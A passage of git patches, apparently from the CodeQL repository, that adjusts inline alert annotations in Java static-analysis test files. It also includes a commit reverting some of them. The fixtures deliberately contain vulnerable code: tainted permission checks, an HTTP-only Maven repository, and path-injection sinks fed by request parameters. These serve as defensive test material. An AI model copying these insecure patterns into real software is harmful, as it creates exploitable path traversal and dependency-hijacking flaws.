SecurityUtils.getSubject(); // BAD: permissions decision made using tainted data - if (subject.isPermitted("domain:sublevel:" + action)) + if (subject.isPermitted("domain:sublevel:" + action)) // $ Alert[java/tainted-permissions-check] doIt(); // GOOD: use fixed checks diff --git a/java/ql/test/query-tests/security/CWE-829/semmle/tests/InsecureDependencyResolution.qlref b/java/ql/test/query-tests/security/CWE-829/semmle/tests/InsecureDependencyResolution.qlref index 84f2c1b82cd..2e4d7f2519a 100644 --- a/java/ql/test/query-tests/security/CWE-829/semmle/tests/InsecureDependencyResolution.qlref +++ b/java/ql/test/query-tests/security/CWE-829/semmle/tests/InsecureDependencyResolution.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-829/InsecureDependencyResolution.ql +query: Security/CWE/CWE-829/InsecureDependencyResolution.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml b/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml index 7f7585d9429..9234bd68251 100644 --- a/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml +++ b/java/ql/test/query-tests/security/CWE-829/semmle/tests/insecure-pom.xml @@ -21,19 +21,19 @@ Insecure Repository Releases http://insecure-repository.example - + insecure-snapshots Insecure Repository Snapshots http://insecure-repository.example - + insecure-snapshots Insecure Repository Snapshots http://localhost.example - + @@ -41,7 +41,7 @@ Insecure Repository http://insecure-repository.example - + @@ -49,6 +49,6 @@ Insecure Repository Releases http://insecure-repository.example - + diff --git a/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.qlref b/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.qlref index 74ebeec5d12..3bd8029485d 100644 --- a/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.qlref +++ b/java/ql/test/query-tests/security/CWE-833/semmle/tests/LockOrderInconsistency.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-833/LockOrderInconsistency.ql +query: Security/CWE/CWE-833/LockOrderInconsistency.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java b/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java index e02364c05ec..684fc55f946 100644 --- a/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java +++ b/java/ql/test/query-tests/security/CWE-833/semmle/tests/MethodAccessLockOrder.java @@ -26,7 +26,7 @@ class MethodAccessLockOrder { public boolean initiateTransfer(boolean fromSavings, int amount) { // AVOID: inconsistent lock order if (fromSavings) { - return primary.transferFrom(savings, amount); + return primary.transferFrom(savings, amount); // $ Alert } else { return savings.transferFrom(primary, amount); } diff --git a/java/ql/test/query-tests/security/CWE-833/semmle/tests/ReentrantLockOrder.java b/java/ql/test/query-tests/security/CWE-833/semmle/tests/ReentrantLockOrder.java index 83d395ccad5..65903ec0034 100644 --- a/java/ql/test/query-tests/security/CWE-833/semmle/tests/ReentrantLockOrder.java +++ b/java/ql/test/query-tests/security/CWE-833/semmle/tests/ReentrantLockOrder.java @@ -8,7 +8,7 @@ class ReentrantLockOrder { public boolean transferToSavings(int amount) { try { - primaryLock.lock(); + primaryLock.lock(); // $ Alert savingsLock.lock(); if (amount>0 && primaryAccountBalance>=amount) { primaryAccountBalance -= amount; @@ -25,7 +25,7 @@ class ReentrantLockOrder { // AVOID: lock order is different from "transferToSavings" // and may result in deadlock try { - savingsLock.lock(); + savingsLock.lock(); // $ Alert primaryLock.lock(); if (amount>0 && primaryAccountBalance>=amount) { primaryAccountBalance -= amount; diff --git a/java/ql/test/query-tests/security/CWE-833/semmle/tests/SynchronizedStmtLockOrder.java b/java/ql/test/query-tests/security/CWE-833/semmle/tests/SynchronizedStmtLockOrder.java index f4a2e626e86..1da9afd01fe 100644 --- a/java/ql/test/query-tests/security/CWE-833/semmle/tests/SynchronizedStmtLockOrder.java +++ b/java/ql/test/query-tests/security/CWE-833/semmle/tests/SynchronizedStmtLockOrder.java @@ -5,7 +5,7 @@ class SynchronizedStmtLockOrder { private Object savingsLock = new Object(); public boolean transferToSavings(int amount) { - synchronized(primaryLock) { + synchronized(primaryLock) { // $ Alert synchronized(savingsLock) { if (amount>0 && primaryAccountBalance>=amount) { primaryAccountBalance -= amount; @@ -19,7 +19,7 @@ class SynchronizedStmtLockOrder { public boolean transferToPrimary(int amount) { // AVOID: lock order is different from "transferToSavings" // and may result in deadlock - synchronized(savingsLock) { + synchronized(savingsLock) { // $ Alert synchronized(primaryLock) { if (amount>0 && savingsAccountBalance>=amount) { savingsAccountBalance -= amount; diff --git a/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.java b/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.java index 69a23502aa3..75c54016267 100644 --- a/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.java +++ b/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.java @@ -1,7 +1,7 @@ class Test { public void bad() { for (int i=0; i<10; i++) { - for (int j=0; i<10; j++) { + for (int j=0; i<10; j++) { // $ Alert // potentially infinite loop due to test on wrong variable if (shouldBreak()) break; } diff --git a/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.qlref b/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.qlref index caed88100e6..51b2ad7ece7 100644 --- a/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.qlref +++ b/java/ql/test/query-tests/security/CWE-835/semmle/tests/InfiniteLoop.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-835/InfiniteLoop.ql +query: Security/CWE/CWE-835/InfiniteLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java index 70f5a0b2bee..6bd0966ff28 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/Consume.java @@ -38,7 +38,7 @@ public @interface Consume { /** * The uri to consume from */ - String value() default ""; + String value() default ""; // $ Alert[java/dead-function] /** * The uri to consume from @@ -46,12 +46,12 @@ public @interface Consume { * @deprecated use value instead */ @Deprecated - String uri() default ""; + String uri() default ""; // $ Alert[java/dead-function] /** * Use the field or getter on the bean to provide the uri to consume from */ - String property() default ""; + String property() default ""; // $ Alert[java/dead-function] /** * Optional predicate (using simple language) to only consume if the predicate matches . This can be used to filter @@ -60,5 +60,5 @@ public @interface Consume { * Notice that only the first method that matches the predicate will be used. And if no predicate matches then the * message is dropped. */ - String predicate() default ""; + String predicate() default ""; // $ Alert[java/dead-function] } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java index 2dcc3ad5a7a..e90e607e50c 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/ExpressionClause.java @@ -20,6 +20,6 @@ package org.apache.camel.builder; * Represents an expression clause within the DSL which when the expression is complete the clause continues to another * part of the DSL */ -public class ExpressionClause { +public class ExpressionClause { // $ Alert[java/dead-class] public T method(String ref) { return null; } } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java index 9c1b8c45d68..0cb300895bc 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/builder/RouteBuilder.java @@ -31,9 +31,9 @@ public abstract class RouteBuilder implements RoutesBuilder { * @param uri the from uri * @return the builder */ - public RouteDefinition from(String uri) { + public RouteDefinition from(String uri) { // $ Alert[java/dead-function] return null; } - public abstract void configure() throws Exception; + public abstract void configure() throws Exception; // $ Alert[java/dead-function] } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java index 2180623054b..22140d4b2f5 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/impl/DefaultCamelContext.java @@ -21,7 +21,7 @@ import org.apache.camel.RoutesBuilder; public class DefaultCamelContext implements ModelCamelContext { - public void configure() throws Exception {} + public void configure() throws Exception {} // $ Alert[java/dead-function] public void addRoutes(RoutesBuilder arg0) {} diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java index 1138c8d3783..d3bed4347b5 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/FilterDefinition.java @@ -16,4 +16,4 @@ */ package org.apache.camel.model; -public class FilterDefinition { } +public class FilterDefinition { } // $ Alert[java/dead-class] diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java index cfe55f5cc17..5c4045cdc95 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/OutputDefinition.java @@ -19,5 +19,5 @@ package org.apache.camel.model; /** * A useful base class for output types */ -public class OutputDefinition> extends ProcessorDefinition { +public class OutputDefinition> extends ProcessorDefinition { // $ Alert[java/dead-class] } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java index 2423e907b01..37931b91796 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/ProcessorDefinition.java @@ -18,7 +18,7 @@ package org.apache.camel.model; import org.apache.camel.builder.ExpressionClause; -public abstract class ProcessorDefinition> { +public abstract class ProcessorDefinition> { // $ Alert[java/dead-class] public Type to(String uri) { return null; } public Type bean(Object bean) { return null; } diff --git a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java index 2ab31d2126a..2052e6a0cdd 100644 --- a/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java +++ b/java/ql/test/stubs/apache-camel-4.0.6/org/apache/camel/model/RouteDefinition.java @@ -16,7 +16,7 @@ */ package org.apache.camel.model; -public class RouteDefinition extends OutputDefinition { +public class RouteDefinition extends OutputDefinition { // $ Alert[java/dead-class] } From 3693185b6b155caa236ed873728e1cf5968275ca Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 10 Jun 2026 09:14:47 +0200 Subject: [PATCH 053/143] Second pass --- .../DeadCode/camel/DeadClass.qlref | 3 +- .../DeadCode/camel/DeadMethod.qlref | 3 +- .../camel/com/semmle/camel/DeadTarget.java | 4 +- .../camel/javadsl/CustomRouteBuilder.java | 2 +- .../Javadoc/ImpossibleJavadocThrows.java | 4 +- .../Javadoc/ImpossibleJavadocThrows.qlref | 3 +- .../test/query-tests/MissingSpaceTypo/A.java | 14 +- .../SpuriousJavadocParam/Test.java | 34 ++-- .../SpuriousJavadocParam/test.qlref | 3 +- .../CWE-020/ExternalAPISinkExample.java | 2 +- .../CWE-022/semmle/tests/TaintedPath.java | 4 +- .../security/CWE-022/semmle/tests/Test.java | 154 +++++++++--------- .../security/CWE-079/semmle/tests/JaxXSS.java | 74 ++++----- .../security/CWE-079/semmle/tests/JsfXSS.java | 20 +-- .../CWE-079/semmle/tests/SpringXSS.java | 56 +++---- .../security/CWE-079/semmle/tests/XSS.java | 18 +- .../ApkInstallationTest/ApkInstallation.java | 12 +- .../GroovyClassLoaderTest.java | 24 +-- .../GroovyCompilationUnitTest.java | 36 ++-- .../GroovyInjection/GroovyEvalTest.java | 20 +-- .../GroovyInjection/GroovyShellTest.java | 80 ++++----- .../GroovyInjection/TemplateEngineTest.java | 10 +- .../CWE-094/InsecureBeanValidation.java | 4 +- .../CWE-094/JexlInjection/Jexl2Injection.java | 20 +-- .../CWE-094/JexlInjection/Jexl3Injection.java | 28 ++-- .../MvelInjection/MvelInjectionTest.java | 28 ++-- .../SpelInjection/SpelInjectionTest.java | 28 ++-- .../TemplateInjection/FreemarkerSSTI.java | 36 ++-- .../TemplateInjection/JinJavaSSTI.java | 12 +- .../CWE-094/TemplateInjection/PebbleSSTI.java | 8 +- .../TemplateInjection/ThymeleafSSTI.java | 20 +-- .../TemplateInjection/VelocitySSTI.java | 22 +-- .../semmle/tests/ConditionalBypassTest.java | 26 +-- .../org/apache/camel/Consume.java | 8 +- .../camel/builder/ExpressionClause.java | 2 +- .../apache/camel/builder/RouteBuilder.java | 4 +- .../camel/impl/DefaultCamelContext.java | 2 +- .../apache/camel/model/FilterDefinition.java | 2 +- .../apache/camel/model/OutputDefinition.java | 2 +- .../camel/model/ProcessorDefinition.java | 2 +- .../apache/camel/model/RouteDefinition.java | 2 +- 41 files changed, 416 insertions(+), 420 deletions(-) diff --git a/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref b/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref index b94832ebfca..d726e7e0849 100644 --- a/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref +++ b/java/ql/test/query-tests/DeadCode/camel/DeadClass.qlref @@ -1,2 +1 @@ -query: DeadCode/DeadClass.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql +DeadCode/DeadClass.ql diff --git a/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref b/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref index 743a5f15775..76204a1df5a 100644 --- a/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref +++ b/java/ql/test/query-tests/DeadCode/camel/DeadMethod.qlref @@ -1,2 +1 @@ -query: DeadCode/DeadMethod.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql +DeadCode/DeadMethod.ql diff --git a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java index d2ccfa90e36..f4fabc7d22e 100644 --- a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java +++ b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/DeadTarget.java @@ -1,10 +1,10 @@ package com.semmle.camel; /** Dead because it is not referenced in the {@code config.xml} file, or in the Java DSL. */ -public class DeadTarget { // $ Alert[java/dead-class] +public class DeadTarget { public Foo getFoo(Foo foo1) { return new Foo(); } - public static class Foo {} // $ Alert[java/dead-class] + public static class Foo {} } diff --git a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java index 01baa30e0a9..437a4d7b56d 100644 --- a/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java +++ b/java/ql/test/query-tests/DeadCode/camel/com/semmle/camel/javadsl/CustomRouteBuilder.java @@ -5,7 +5,7 @@ import org.apache.camel.impl.DefaultCamelContext; public class CustomRouteBuilder extends RouteBuilder { @Override - public void configure() throws Exception { // $ Alert[java/dead-function] + public void configure() throws Exception { from("direct:test") .to("bean:dslToTarget") .bean(DSLBeanTarget.class) diff --git a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java index 9795251ce9a..3a087f6ea92 100644 --- a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java +++ b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.java @@ -6,14 +6,14 @@ class ImpossibleJavadocThrows { /** * - * @throws InterruptedException // $ Alert + * @throws InterruptedException */ public void bad1() { } /** * - * @exception Exception // $ Alert + * @exception Exception */ public void bad2() { } diff --git a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref index dc001712b07..51541686bfc 100644 --- a/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref +++ b/java/ql/test/query-tests/Javadoc/ImpossibleJavadocThrows.qlref @@ -1,2 +1 @@ -query: Advisory/Documentation/ImpossibleJavadocThrows.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql +Advisory/Documentation/ImpossibleJavadocThrows.ql diff --git a/java/ql/test/query-tests/MissingSpaceTypo/A.java b/java/ql/test/query-tests/MissingSpaceTypo/A.java index a095d8568d8..284fd20c863 100644 --- a/java/ql/test/query-tests/MissingSpaceTypo/A.java +++ b/java/ql/test/query-tests/MissingSpaceTypo/A.java @@ -1,19 +1,19 @@ public class A { public void missing() { String s; - s = "this text" + // $ + s = "this text" + "is missing a space"; // $ Alert - s = "the class java.util.ArrayList" + // $ + s = "the class java.util.ArrayList" + "without a space"; // $ Alert - s = "This isn't" + // $ + s = "This isn't" + "right."; // $ Alert - s = "There's 1" + // $ + s = "There's 1" + "thing wrong"; // $ Alert - s = "There's A/B" + // $ + s = "There's A/B" + "and no space"; // $ Alert - s = "Wait for it...." + // $ + s = "Wait for it...." + "No space!"; // $ Alert - s = "Is there a space?" + // $ + s = "Is there a space?" + "No!"; // $ Alert } diff --git a/java/ql/test/query-tests/SpuriousJavadocParam/Test.java b/java/ql/test/query-tests/SpuriousJavadocParam/Test.java index ca724cf468c..d8891afb756 100644 --- a/java/ql/test/query-tests/SpuriousJavadocParam/Test.java +++ b/java/ql/test/query-tests/SpuriousJavadocParam/Test.java @@ -54,83 +54,83 @@ public class Test { protected void ok9(int...param){ } /** - * @param prameter typo // $ Alert + * @param prameter typo */ public void problem1(int parameter){ } /** - * @param Parameter capitalization // $ Alert + * @param Parameter capitalization */ public void problem2(int parameter){ } /** - * @param parameter unmatched // $ Alert + * @param parameter unmatched */ public void problem3(){ } /** * @param someOtherParameter matched - * @param parameter unmatched // $ Alert + * @param parameter unmatched */ public void problem4(int someOtherParameter){ } /** - * @param unmatched type parameter // $ Alert + * @param unmatched type parameter */ private T problem5(){ return null; } /** * @param matched type parameter - * @param

    unmatched type parameter // $ Alert - * @param n unmatched normal parameter // $ Alert + * @param

    unmatched type parameter + * @param n unmatched normal parameter */ private T problem6(V p){ return null; } /** * param with immediate newline - * @param // $ Alert + * @param */ protected void problem7(){ } /** * param without a value (followed by blanks) - * @param // $ Alert + * @param */ protected void problem8(){ } class SomeClass { /** * @param i exists - * @param k does not // $ Alert + * @param k does not */ SomeClass(int i, int j) {} } /** * @param exists - * @param T wrong syntax // $ Alert - * @param does not exist // $ Alert + * @param T wrong syntax + * @param does not exist */ class GenericClass {} /** * @param exists - * @param T wrong syntax // $ Alert - * @param does not exist // $ Alert + * @param T wrong syntax + * @param does not exist */ interface GenericInterface {} /** * @param i exists - * @param k does not // $ Alert + * @param k does not */ static record SomeRecord(int i, int j) {} /** * @param exists - * @param does not // $ Alert + * @param does not * @param i exists - * @param k does not // $ Alert + * @param k does not */ static record GenericRecord(int i, int j) {} } diff --git a/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref b/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref index 85c1971658c..05f7231fe6b 100644 --- a/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref +++ b/java/ql/test/query-tests/SpuriousJavadocParam/test.qlref @@ -1,2 +1 @@ -query: Advisory/Documentation/SpuriousJavadocParam.ql -postprocess: utils/test/InlineExpectationsTestQuery.ql +Advisory/Documentation/SpuriousJavadocParam.ql diff --git a/java/ql/test/query-tests/security/CWE-020/ExternalAPISinkExample.java b/java/ql/test/query-tests/security/CWE-020/ExternalAPISinkExample.java index de76455c201..9e30b228c48 100644 --- a/java/ql/test/query-tests/security/CWE-020/ExternalAPISinkExample.java +++ b/java/ql/test/query-tests/security/CWE-020/ExternalAPISinkExample.java @@ -9,6 +9,6 @@ public class ExternalAPISinkExample extends HttpServlet { throws ServletException, IOException { // BAD: a request parameter is written directly to an error response page response.sendError(HttpServletResponse.SC_NOT_FOUND, - "The page \"" + request.getParameter("page") + "\" was not found."); // $ Alert + "The page \"" + request.getParameter("page") + "\" was not found."); // $ Alert[java/untrusted-data-to-external-api] } } diff --git a/java/ql/test/query-tests/security/CWE-022/semmle/tests/TaintedPath.java b/java/ql/test/query-tests/security/CWE-022/semmle/tests/TaintedPath.java index fb87c687823..fffb93c6291 100644 --- a/java/ql/test/query-tests/security/CWE-022/semmle/tests/TaintedPath.java +++ b/java/ql/test/query-tests/security/CWE-022/semmle/tests/TaintedPath.java @@ -10,10 +10,10 @@ import java.nio.file.Paths; public class TaintedPath { public void sendUserFile(Socket sock, String user) throws IOException { BufferedReader filenameReader = - new BufferedReader(new InputStreamReader(sock.getInputStream(), "UTF-8")); // $ Source + new BufferedReader(new InputStreamReader(sock.getInputStream(), "UTF-8")); // $ Source[java/path-injection] String filename = filenameReader.readLine(); // BAD: read from a file without checking its path - BufferedReader fileReader = new BufferedReader(new FileReader(filename)); // $ Alert + BufferedReader fileReader = new BufferedReader(new FileReader(filename)); // $ Alert[java/path-injection] String fileLine = fileReader.readLine(); while (fileLine != null) { sock.getOutputStream().write(fileLine.getBytes()); diff --git a/java/ql/test/query-tests/security/CWE-022/semmle/tests/Test.java b/java/ql/test/query-tests/security/CWE-022/semmle/tests/Test.java index 362c84f4b16..6ef57737226 100644 --- a/java/ql/test/query-tests/security/CWE-022/semmle/tests/Test.java +++ b/java/ql/test/query-tests/security/CWE-022/semmle/tests/Test.java @@ -29,143 +29,143 @@ public class Test { private HttpServletRequest request; public Object source() { - return request.getParameter("source"); // $ Source + return request.getParameter("source"); // $ Source[java/path-injection] } void test() throws IOException { // "java.lang;Module;true;getResourceAsStream;(String);;Argument[0];read-file;ai-generated" - getClass().getModule().getResourceAsStream((String) source()); // $ Alert + getClass().getModule().getResourceAsStream((String) source()); // $ Alert[java/path-injection] // "java.lang;Class;false;getResource;(String);;Argument[0];read-file;ai-generated" - getClass().getResource((String) source()); // $ Alert + getClass().getResource((String) source()); // $ Alert[java/path-injection] // "java.lang;ClassLoader;true;getSystemResourceAsStream;(String);;Argument[0];read-file;ai-generated" - ClassLoader.getSystemResourceAsStream((String) source()); // $ Alert + ClassLoader.getSystemResourceAsStream((String) source()); // $ Alert[java/path-injection] // "java.io;File;True;canExecute;();;Argument[this];path-injection;manual" - ((File) source()).canExecute(); // $ Alert + ((File) source()).canExecute(); // $ Alert[java/path-injection] // "java.io;File;True;canRead;();;Argument[this];path-injection;manual" - ((File) source()).canRead(); // $ Alert + ((File) source()).canRead(); // $ Alert[java/path-injection] // "java.io;File;True;canWrite;();;Argument[this];path-injection;manual" - ((File) source()).canWrite(); // $ Alert + ((File) source()).canWrite(); // $ Alert[java/path-injection] // "java.io;File;True;createNewFile;();;Argument[this];path-injection;ai-manual" - ((File) source()).createNewFile(); // $ Alert + ((File) source()).createNewFile(); // $ Alert[java/path-injection] // "java.io;File;true;createTempFile;(String,String,File);;Argument[2];create-file;ai-generated" - File.createTempFile(";", ";", (File) source()); // $ Alert + File.createTempFile(";", ";", (File) source()); // $ Alert[java/path-injection] // "java.io;File;True;delete;();;Argument[this];path-injection;manual" - ((File) source()).delete(); // $ Alert + ((File) source()).delete(); // $ Alert[java/path-injection] // "java.io;File;True;deleteOnExit;();;Argument[this];path-injection;manual" - ((File) source()).deleteOnExit(); // $ Alert + ((File) source()).deleteOnExit(); // $ Alert[java/path-injection] // "java.io;File;True;exists;();;Argument[this];path-injection;manual" - ((File) source()).exists(); // $ Alert + ((File) source()).exists(); // $ Alert[java/path-injection] // "java.io:File;True;isDirectory;();;Argument[this];path-injection;manual" - ((File) source()).isDirectory(); // $ Alert + ((File) source()).isDirectory(); // $ Alert[java/path-injection] // "java.io:File;True;isFile;();;Argument[this];path-injection;manual" - ((File) source()).isFile(); // $ Alert + ((File) source()).isFile(); // $ Alert[java/path-injection] // "java.io:File;True;isHidden;();;Argument[this];path-injection;manual" - ((File) source()).isHidden(); // $ Alert + ((File) source()).isHidden(); // $ Alert[java/path-injection] // "java.io;File;True;mkdir;();;Argument[this];path-injection;manual" - ((File) source()).mkdir(); // $ Alert + ((File) source()).mkdir(); // $ Alert[java/path-injection] // "java.io;File;True;mkdirs;();;Argument[this];path-injection;manual" - ((File) source()).mkdirs(); // $ Alert + ((File) source()).mkdirs(); // $ Alert[java/path-injection] // "java.io;File;True;renameTo;(File);;Argument[0];path-injection;ai-manual" - new File("").renameTo((File) source()); // $ Alert + new File("").renameTo((File) source()); // $ Alert[java/path-injection] // "java.io;File;True;renameTo;(File);;Argument[this];path-injection;ai-manual" - ((File) source()).renameTo(null); // $ Alert + ((File) source()).renameTo(null); // $ Alert[java/path-injection] // "java.io;File;True;setExecutable;;;Argument[this];path-injection;manual" - ((File) source()).setExecutable(true); // $ Alert + ((File) source()).setExecutable(true); // $ Alert[java/path-injection] // "java.io;File;True;setLastModified;;;Argument[this];path-injection;manual" - ((File) source()).setLastModified(0); // $ Alert + ((File) source()).setLastModified(0); // $ Alert[java/path-injection] // "java.io;File;True;setReadable;;;Argument[this];path-injection;manual" - ((File) source()).setReadable(true); // $ Alert + ((File) source()).setReadable(true); // $ Alert[java/path-injection] // "java.io;File;True;setReadOnly;;;Argument[this];path-injection;manual" - ((File) source()).setReadOnly(); // $ Alert + ((File) source()).setReadOnly(); // $ Alert[java/path-injection] // "java.io;File;True;setWritable;;;Argument[this];path-injection;manual" - ((File) source()).setWritable(true); // $ Alert + ((File) source()).setWritable(true); // $ Alert[java/path-injection] // "java.io;File;true;renameTo;(File);;Argument[0];create-file;ai-generated" - new File("").renameTo((File) source()); // $ Alert + new File("").renameTo((File) source()); // $ Alert[java/path-injection] // "java.io;FileInputStream;true;FileInputStream;(File);;Argument[0];read-file;ai-generated" - new FileInputStream((File) source()); // $ Alert + new FileInputStream((File) source()); // $ Alert[java/path-injection] // "java.io;FileInputStream;true;FileInputStream;(FileDescriptor);;Argument[0];read-file;manual" - new FileInputStream((FileDescriptor) source()); // $ Alert + new FileInputStream((FileDescriptor) source()); // $ Alert[java/path-injection] // "java.io;FileInputStream;true;FileInputStream;(String);;Argument[0];read-file;manual" - new FileInputStream((String) source()); // $ Alert + new FileInputStream((String) source()); // $ Alert[java/path-injection] // "java.io;FileReader;true;FileReader;(File);;Argument[0];read-file;ai-generated" - new FileReader((File) source()); // $ Alert + new FileReader((File) source()); // $ Alert[java/path-injection] // "java.io;FileReader;true;FileReader;(FileDescriptor);;Argument[0];read-file;manual" - new FileReader((FileDescriptor) source()); // $ Alert + new FileReader((FileDescriptor) source()); // $ Alert[java/path-injection] // "java.io;FileReader;true;FileReader;(File,Charset);;Argument[0];read-file;manual" - new FileReader((File) source(), null); // $ Alert + new FileReader((File) source(), null); // $ Alert[java/path-injection] // "java.io;FileReader;true;FileReader;(String);;Argument[0];read-file;ai-generated" - new FileReader((String) source()); // $ Alert + new FileReader((String) source()); // $ Alert[java/path-injection] // "java.io;FileReader;true;FileReader;(String,Charset);;Argument[0];read-file;manual" - new FileReader((String) source(), null); // $ Alert + new FileReader((String) source(), null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;copy;;;Argument[0];read-file;manual" - Files.copy((Path) source(), (Path) null); // $ Alert - Files.copy((Path) source(), (OutputStream) null); // $ Alert + Files.copy((Path) source(), (Path) null); // $ Alert[java/path-injection] + Files.copy((Path) source(), (OutputStream) null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;copy;;;Argument[1];create-file;manual" - Files.copy((Path) null, (Path) source()); // $ Alert - Files.copy((InputStream) null, (Path) source()); // $ Alert + Files.copy((Path) null, (Path) source()); // $ Alert[java/path-injection] + Files.copy((InputStream) null, (Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;createDirectories;;;Argument[0];create-file;manual" - Files.createDirectories((Path) source()); // $ Alert + Files.createDirectories((Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;createDirectory;;;Argument[0];create-file;manual" - Files.createDirectory((Path) source()); // $ Alert + Files.createDirectory((Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;createFile;;;Argument[0];create-file;manual" - Files.createFile((Path) source()); // $ Alert + Files.createFile((Path) source()); // $ Alert[java/path-injection] // "java.nio.file;Files;false;createLink;;;Argument[0];create-file;manual" - Files.createLink((Path) source(), null); // $ Alert + Files.createLink((Path) source(), null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;createSymbolicLink;;;Argument[0];create-file;manual" - Files.createSymbolicLink((Path) source(), null); // $ Alert + Files.createSymbolicLink((Path) source(), null); // $ Alert[java/path-injection] // "java.nio.file;Files;false;createTempDirectory;(Path,String,FileAttribute[]);;Argument[0];create-file;manual" - Files.createTempDirectory((Path) source(), null); // $ Alert + Files.createTempDirectory((Path) source(), null); // $ Alert[java/path-injection] // 